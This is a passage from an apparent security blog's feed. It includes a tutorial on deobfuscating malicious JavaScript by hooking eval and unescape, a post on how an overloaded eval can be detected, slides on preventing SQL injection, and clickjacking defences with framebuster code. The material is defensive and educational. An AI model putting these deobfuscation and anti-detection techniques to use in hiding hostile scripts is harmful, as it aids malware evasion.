&lt;/ol&gt;What is important, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;this&lt;/span&gt; inside event handler points to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;img&amp;gt;&lt;/span&gt; element, and images have their &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;y&lt;/span&gt; property - so&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; y&lt;/span&gt; should not be our &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;'Klaatu barada nikto'&lt;/span&gt;, but a number. But running the above code in Firebug gives some unexpected results:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_yeezYoHslRg/S8e7tOnPlFI/AAAAAAAAD1s/W8ZEP5rVBrU/s1600/zrzut_ekranu-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="74" src="http://1.bp.blogspot.com/_yeezYoHslRg/S8e7tOnPlFI/AAAAAAAAD1s/W8ZEP5rVBrU/s640/zrzut_ekranu-3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
1st case works as expected (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;this&lt;/span&gt; is &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window&lt;/span&gt;, and global &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;y&lt;/span&gt; is accessed), so is the 2nd (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;this&lt;/span&gt; is&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; img&lt;/span&gt;,&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; y&lt;/span&gt; is local), &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval()&lt;/span&gt; does not change the scope nor variable visibility. But &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval2()&lt;/span&gt;suddenly sees our &lt;i&gt;global variable&lt;/i&gt;, even though it's in the context of &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;img&amp;gt;&lt;/span&gt;! WTF??&lt;br /&gt;
&lt;br /&gt;
So there is a slight difference between original and overloaded &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval()&lt;/span&gt; - although the context stays the same (thanks to &lt;a href="https://developer.mozilla.org/En/Core_JavaScript_1.5_Reference/Objects/Function/Apply"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Function.apply&lt;/span&gt;&lt;/a&gt; I used in original overloading), variable visibility is different - so one could potentially detect that &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval()&lt;/span&gt; is overloaded.&lt;br /&gt;
&lt;h2&gt;We're doomed?&lt;/h2&gt;I tried to overcome this using various known techniques (wrapping in anonymous function, playing with scopes etc.) but to no avail. I cannot emulate &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt; without getting this strange behaviour.&lt;br /&gt;
&lt;br /&gt;
Luckily, malware authors are is the same position - they usually obfuscate &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt; call by using some intermediate function (in other words, there is &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval2 = eval&lt;/span&gt; equivalent somewhere in their code). But still, I'd rather have a perfect emulation... Is there any?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-691507761367868851?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/691507761367868851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=691507761367868851' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/691507761367868851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/691507761367868851'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/04/when-overloading-eval-fails.html' title='When overloading eval() fails'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_yeezYoHslRg/S8e7tOnPlFI/AAAAAAAAD1s/W8ZEP5rVBrU/s72-c/zrzut_ekranu-3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-2386696974304588748</id><published>2010-04-14T11:47:00.003+02:00</published><updated>2010-04-16T03:52:19.328+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='overloading'/><category scheme='http://www.blogger.com/atom/ns#' term='escape'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='eval'/><category scheme='http://www.blogger.com/atom/ns#' term='firebug'/><title type='text'>Beating JavaScript obfuscators with Firebug</title><content type='html'>Today I encountered a &lt;a href="http://wampir.mroczna-zaloga.org/archives/843-bootcamp-xx-strona-ktora-cos-robi-ii.html"&gt;very pleasant 'crackme' challenge&lt;/a&gt; from &lt;a href="http://wampir.mroczna-zaloga.org/"&gt;Paweł Goleń&lt;/a&gt;. The purpose is to find out what is the purpose of &lt;a href="http://bootcamp.threats.pl/lesson20/main.php"&gt;demo page&lt;/a&gt; set up by Paweł.&lt;br /&gt;
&lt;br /&gt;
Visiting this page with e.g. Firebug enabled (or with any HTTP proxy) quickly shows that a POST request is sent upon visiting. You didn't submit any form manually so it must be JavaScript sending it. So, you just need to view the source of the page to find the JS code. And this is where the fun starts. The code looks like this:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_yeezYoHslRg/S8V92APsKDI/AAAAAAAAD1k/tSM1jDenjjM/s1600/obfuscated-js.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_yeezYoHslRg/S8V92APsKDI/AAAAAAAAD1k/tSM1jDenjjM/s320/obfuscated-js.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h2&gt;Obfuscation&lt;/h2&gt;Not really readable... This code is &lt;a href="http://en.wikipedia.org/wiki/Obfuscated_code"&gt;obfuscated&lt;/a&gt; - modifed to make its analysis difficult. This is the technique widely &lt;a href="http://research.zscaler.com/2010/04/cve-2010-0806-exploit-in-wild.html"&gt;used&lt;/a&gt; with malware software.&lt;br /&gt;
The encoded software usually tries to hack into the machine, so it can:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; download even more code from a remote URL&lt;/li&gt;
&lt;li&gt;send some data to a remote (attacker) server&lt;/li&gt;
&lt;li&gt;exploit a browser vulnerability to execute a code on the machine&lt;/li&gt;
&lt;li&gt;scan the internal network&lt;/li&gt;
&lt;li&gt;hack into your router and convert it to a &lt;a href="http://en.wikipedia.org/wiki/Open_mail_relay"&gt;spam server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;Obfuscating code sometimes prevents the software from being detected by antivirus/malware scans, but it is mainly used to make it harder to determine what the script actually does (and e.g. prepare antivirus signature for it).&lt;br /&gt;
In JavaScript obfuscation is usually based on heavy usage of &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;unescape&lt;/span&gt;, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;String.fromCharCode&lt;/span&gt; and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt; functions. &lt;br /&gt;
&lt;br /&gt;
Luckily, JavaScript itself, with the help of Firebug, has tools that enable you to decode such obfuscated script, so it is only a matter of time to &lt;a href="http://en.wikipedia.org/wiki/Reverse_engineering"&gt;reverse engineer&lt;/a&gt; it.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Function overloading&lt;/h2&gt;JavaScript is a &lt;a href="http://en.wikipedia.org/wiki/Functional_programming"&gt;functional language&lt;/a&gt;, so - in plain words - the function itself can be written to variable, passed as an argument etc. And - as a variable - it can be reassigned. So it is possible to change the behaviour of any JavaScript function. Example:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;&amp;lt;div id="alert"&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script type="text/javascript"&amp;gt;
window.alert = function() { 
  document.getElementById('alert').innerHTML = arguments[0] 
};
alert('hello world');
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
Here we overload widely used &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;alert &lt;/span&gt;function - instead of a message box it will insert a given message to a &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;div id="alert"&amp;gt;&lt;/span&gt; element. Two things to note:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;alert is in fact &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window.alert &lt;/span&gt;because JS in browsers has a &lt;a href="http://javascript.crockford.com/style2.html"&gt;global object&lt;/a&gt; named &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;arguments&lt;/span&gt; is an array-like object containing parameters passed to the function, so in this case it's &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;['hello world']&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Let's decode&lt;/h2&gt;Analysing any obfuscated script will be much easier if you overloaded the key functions: &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;unescape&lt;/span&gt;, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;String.fromCharCode&lt;/span&gt; and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt;. But, for the script to actually work, our overloaded functions must call the original ones:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;var oldunescape = window.unescape;
window.unescape = function() {
  var u = oldunescape.apply(this,arguments); // this calls the old function
  console.log('unescape ', arguments, u);
  return u;
}

var oldCharCode = String.fromCharCode;

String.fromCharCode = function() {
  var u = oldCharCode.apply(this,arguments);
  console.log('charcode ', arguments, u);
  return u;
}

var oldeval = window.eval;
window.eval = function() {
  var args = arguments;
  console.log('eval ', arguments, u);
  var u = oldeval.apply(this,arguments);
  debugger; // here the debugger (e.g. Firebug) will kick in 
  return u;
}
&lt;/pre&gt;&lt;br /&gt;
With this code you may start decoding the script, consistently replacing obfuscated code in HTML with decoded one coming from Firebug console. You can also insert the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;debugger; &lt;/span&gt;line anywhere in a JS to add a breakpoint.&lt;br /&gt;
&lt;br /&gt;
One thing to note - when debugging malware, be sure to make it in a safe environment (e.g. a separate virtual machine, some sort of sandbox), because otherwise there is a risk you'll become its victim.&lt;br /&gt;
&lt;h2&gt;We're finished...?&lt;/h2&gt;Unfortunately, that's only the first part of analyzing the software. After getting the plaintext version we need to understand what it actually does (and that's usually intentionally hidden in many functions, variables, exceptions, browser differences and strange program flow). It is hard and requires both patience and a bit of JavaScript knowledge, but it is, I think, one of the fastest and most exciting ways to learn. So, go grab your Firebugs and try for yourself - &lt;a href="http://bootcamp.threats.pl/lesson20/main.php#"&gt;what does this page do&lt;/a&gt;?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-2386696974304588748?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/2386696974304588748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=2386696974304588748' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2386696974304588748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2386696974304588748'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/04/beating-javascript-obfuscators-with.html' title='Beating JavaScript obfuscators with Firebug'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_yeezYoHslRg/S8V92APsKDI/AAAAAAAAD1k/tSM1jDenjjM/s72-c/obfuscated-js.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-215332236873493176</id><published>2010-03-19T20:52:00.000+01:00</published><updated>2010-03-19T20:52:19.454+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='symfony'/><category scheme='http://www.blogger.com/atom/ns#' term='propel'/><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='mdb2'/><category scheme='http://www.blogger.com/atom/ns#' term='php5'/><category scheme='http://www.blogger.com/atom/ns#' term='mssql'/><category scheme='http://www.blogger.com/atom/ns#' term='zend framework'/><category scheme='http://www.blogger.com/atom/ns#' term='doctrine'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='hardening'/><title type='text'>Hardening PHP: SQL injection - Complete walkthrough</title><content type='html'>Below are the slides from the presentation I &lt;a href="http://blog.kotowicz.net/2010/03/youre-from-cracow-and-want-to-beat-sql.html"&gt;recently gave&lt;/a&gt; on SQL injection on &lt;a href="http://www.owasp.org/index.php/Poland#On_10th_March_2010"&gt;OWASP Poland Chapter&lt;/a&gt; meeting.  The materials teach how to use prepared statements, how to escape and write secure stored procedures. Many PHP projects are covered - &lt;a href="http://php.net/manual/en/book.pdo.php"&gt;PDO&lt;/a&gt;, &lt;a href="http://propel.phpdb.org/trac/"&gt;Propel&lt;/a&gt;, &lt;a href="http://www.doctrine-project.org/"&gt;Doctrine&lt;/a&gt;, &lt;a href="http://framework.zend.com/"&gt;Zend Framework&lt;/a&gt; and &lt;a href="http://pear.php.net/MDB2/"&gt;MDB2&lt;/a&gt;. Multiple gotchas and caveats are included. I discuss why escaping is usually the wrong choice, which practices to avoid or follow and how stored procedures sometimes offer no protection at all.&lt;br /&gt;
&lt;br /&gt;
I tried to make this as complete as possible, so a PHP developer could learn how to protect his applications no matter what framework / database he uses. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;English version&lt;/h2&gt;&lt;div style="width:425px" id="__ss_3459190"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/kkotowicz/sql-injection-complete-walktrough-not-only-for-php-developers" title="SQL Injection: complete walkthrough (not only) for PHP developers"&gt;SQL Injection: complete walkthrough (not only) for PHP developers&lt;/a&gt;&lt;/strong&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-sql-injection-en-100317143725-phpapp02&amp;stripped_title=sql-injection-complete-walktrough-not-only-for-php-developers" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-sql-injection-en-100317143725-phpapp02&amp;stripped_title=sql-injection-complete-walktrough-not-only-for-php-developers" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/kkotowicz"&gt;Krzysztof Kotowicz&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h2&gt;Polish version&lt;/h2&gt;&lt;div style="width:425px" id="__ss_3279919"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/kkotowicz/owasp-sql-injection" title="Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)"&gt;Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)&lt;/a&gt;&lt;/strong&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-sql-injection-100225191337-phpapp01&amp;stripped_title=owasp-sql-injection" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=owasp-sql-injection-100225191337-phpapp01&amp;stripped_title=owasp-sql-injection" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;
You could also watch &lt;a href="http://www.varlog.pl/2010/03/marcowe-spotkanie-owasp-php-video/"&gt;video recorded from the presentation&lt;/a&gt;. There are already some comments on the slides on &lt;a href="http://niebezpiecznik.pl/post/przewodnik-po-sql-injection-dla-developerow-php/"&gt;niebezpiecznik.pl&lt;/a&gt; (Polish), but of course feel free to add comment here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-215332236873493176?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/215332236873493176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=215332236873493176' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/215332236873493176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/215332236873493176'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/03/hardening-php-sql-injection-complete.html' title='Hardening PHP: SQL injection - Complete walkthrough'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-1609028375630636964</id><published>2010-03-03T21:02:00.003+01:00</published><updated>2010-03-04T00:18:51.650+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='symfony'/><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='cracow'/><category scheme='http://www.blogger.com/atom/ns#' term='magic quotes'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='mdb2'/><category scheme='http://www.blogger.com/atom/ns#' term='php5'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='mssql'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>You're from Cracow and want to beat SQL injection?</title><content type='html'>Anyone interested in secure development probably knows what &lt;a href="http://www.owasp.org/index.php/Main_Page"&gt;OWASP&lt;/a&gt; is. If not - it's a worldwide non-profit organization focused on web application security.&lt;br /&gt;
&lt;br /&gt;
There is an upcoming OWASP Poland chapter meeting in Cracow, Poland next week. This time it is focused on secure PHP application development.&lt;br /&gt;
&lt;br /&gt;
I will be giving a presentation there - it's entitled&lt;br /&gt;
"&lt;b&gt;SQL injection: Complete walktrough (not only) for PHP developers&lt;/b&gt;".&lt;br /&gt;
&lt;br /&gt;
We will talk a bit about the theory and demonstrate an attack. Then I'll show how to write code immune to SQL injection in various PHP frameworks, using various databases. We'll also talk about writing secure stored procedures in Oracle, MS SQL Server and MySQL. Different gothchas, bugs and tricks will be covered, so &lt;b&gt;even if you think you know the subject - it will surprise you&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
The meeting is totally free and no registration is required&lt;a href="#f1"&gt;&lt;sup&gt;*&lt;/sup&gt;&lt;/a&gt;, so if anyone wants to develop securely in PHP or deals with databases (who doesn't?), please bring your fellow developers and come. It's important - &lt;b&gt;please come and let's beat the SQL injection once and for all!&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
I'll share the floor with &lt;a href="http://lukasz.pilorz.net/"&gt;Łukasz Pilorz&lt;/a&gt; who will talk about creating &lt;b&gt;Secure PHP framework&lt;/b&gt; - and, given some internal details, I can assure you there's much to expect from this talk - don't miss it!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Date: &lt;/b&gt;10.03.2010 (Wednesday), 17:00&lt;br /&gt;
&lt;b&gt;Place:&lt;/b&gt; Compendium Centrum Edukacyjne, ul. Tatarska 5, Kraków, I piętro&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update: &lt;/b&gt;Read the &lt;a href="https://lists.owasp.org/pipermail/owasp-poland/2010-March/000054.html"&gt;full announcement&lt;/a&gt; from OWASP mailing list. &lt;br /&gt;
&lt;a name="f1"&gt;&lt;/a&gt;&lt;br /&gt;
&lt;sup&gt;*&lt;/sup&gt; If you're planning to go, please drop a mail to Przemysław from the link above to prepare the room for the audience.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-1609028375630636964?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/1609028375630636964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=1609028375630636964' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1609028375630636964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1609028375630636964'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/03/youre-from-cracow-and-want-to-beat-sql.html' title='You&apos;re from Cracow and want to beat SQL injection?'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-2234481566472118674</id><published>2009-12-23T13:36:00.003+01:00</published><updated>2009-12-23T14:20:07.160+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='csrf'/><category scheme='http://www.blogger.com/atom/ns#' term='clickjack'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='clickjacking'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='iframe'/><title type='text'>5 ways to prevent clickjacking on your website (and why they suck)</title><content type='html'>&lt;div&gt;&lt;div&gt;&lt;a href="http://en.wikipedia.org/wiki/Clickjacking" id="m5rs" title="Clickjacking attack"&gt;Clickjacking attack&lt;/a&gt; is a very nasty attack. The most common form of it is when an attacker creates a webpage and tricks the visitor to click somewhere (on a link, button, image). Attacker in the code of his website includes a victim website (like Facebook, your webmail, amazon) that is cleverly hidden from the user and placed so that a user actually clicks on a victim website. Citing the example from &lt;a href="http://www.owasp.org/index.php/Clickjacking" id="w5wi" title="OWASP page on clickjacking"&gt;OWASP page on clickjacking&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;For example, imagine an attacker who builds a web site that has a button on it that says "click here for a free iPod". However, on top of that web page, the attacker has loaded an iframe with your mail account, and lined up exactly the "delete all messages" button directly on top of the "free iPod" button. The victim tries to click on the "free iPod" button but instead actually clicked on the invisible "delete all messages" button. In essence, the attacker has "hijacked" the user's click, hence the name "Clickjacking". &lt;br /&gt;
&lt;/blockquote&gt;The problem with clickjacking attack is that it is extremely difficult to prevent. Unlike other popular vulnerabilities like CSRF, XSS, SQL injection, this one is based on a functionality that is widely used in the web nowadays - &lt;a href="http://en.wikipedia.org/wiki/HTML_element#Frames" id="dwza" title="frames"&gt;frames&lt;/a&gt; (I'm skipping the case of plugin-based-clickjacking for clarity here). Frames allow you to nest one webpage or widget in another page - this is now used for login pages, commenting, previewing content in CMSes, for JavaScript interactions and a million other things. &lt;br /&gt;
&lt;br /&gt;
Browsers nowadays use &lt;a href="http://en.wikipedia.org/wiki/Same_origin_policy" id="h0ap" title="same origin policy"&gt;same origin policy&lt;/a&gt; to protect your data if you're framing or being framed from another domain (this prevents JavaScripts from talking to each other and accesing documents across the domain boundary). But JavaScript is not required for a clickjacking attack - CSS is enough. In the simplest form (e.g. used in recent &lt;a href="http://blog.kotowicz.net/2009/12/new-facebook-clickjagging-attack-in.html" id="hr1v" title="Facebook users attack"&gt;Facebook users attack&lt;/a&gt;), you're just using a small &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;iframe&amp;gt;&lt;/span&gt;, and position it absolutely. The rest is just social engineering. &lt;br /&gt;
&lt;br /&gt;
Our users have a &lt;a href="https://addons.mozilla.org/pl/firefox/addon/722" id="bo91" title="few"&gt;few&lt;/a&gt; &lt;a href="http://www.guardedid.com/default.aspx" id="qjyd" title="options"&gt;options&lt;/a&gt; to protect themselves. So maybe 1% of them will be "protected". But what can we - web developers do to prevent the clickjacking on our sites? Sadly, not much, but here's the list:&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;h3&gt;X-Frame-Options&lt;/h3&gt;Include &lt;a href="http://blogs.msdn.com/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx" id="fz57" title="X-Frame-Options"&gt;X-Frame-Options&lt;/a&gt; HTTP header in all your webpages. This will prevent your site from being placed within a frame. It's now supported by IE8, Safari 4, Google Chrome. Sadly, &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=475530" id="qa5s" title="not Firefox"&gt;not Firefox&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pro:&lt;/b&gt;&lt;br /&gt;
+ extremely simple&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Con:&lt;/b&gt;&lt;br /&gt;
- needs access to webserver configuration and/or scripting language on the server&lt;br /&gt;
- works only on some browsers&lt;br /&gt;
- no domain black/whitelisting (you either allow all, your domain only or none)&lt;br /&gt;
&lt;h3&gt;Framebuster JavaScript&lt;/h3&gt;You may also detect by JavaScript that your site is being placed in a frame and reload it main browser window (escape the hack). This is called frame-busting and it looks e.g. like this:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;try {
if (top.location.hostname != self.location.hostname) throw 1;
} catch (e) {
top.location.href = self.location.href;
}
&lt;/pre&gt;&lt;br /&gt;
Sadly, &lt;a href="http://coderrr.wordpress.com/2009/02/13/preventing-frame-busting-and-click-jacking-ui-redressing/" id="c97i" title="it can be hacked"&gt;it can be hacked&lt;/a&gt;. Luckily &lt;a href="http://coderrr.wordpress.com/2009/02/13/preventing-frame-busting-and-click-jacking-ui-redressing/" id="kfz3" title="the hack can be hacked"&gt;the hack can be hacked too&lt;/a&gt;, but there are so many caveats that you need to decide yourself. For example - your users won't see your site at all with JS disabled. &lt;br /&gt;
&lt;b&gt;Notice:&lt;/b&gt; I've made some progress with this anti-frame-buster and came up with better solution but this one requires a proper demo and another blog post, so stay tuned. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pro:&lt;/b&gt;&lt;br /&gt;
+ you might code domain white/blacklisting yourself&lt;br /&gt;
+ you might &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;alert() &lt;/span&gt;your users instead of escaping from frame &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Con:&lt;/b&gt;&lt;br /&gt;
- requires JavaScript&lt;br /&gt;
- it's either hackable or requires significant workarounds on your website to make it work on all browsers&lt;br /&gt;
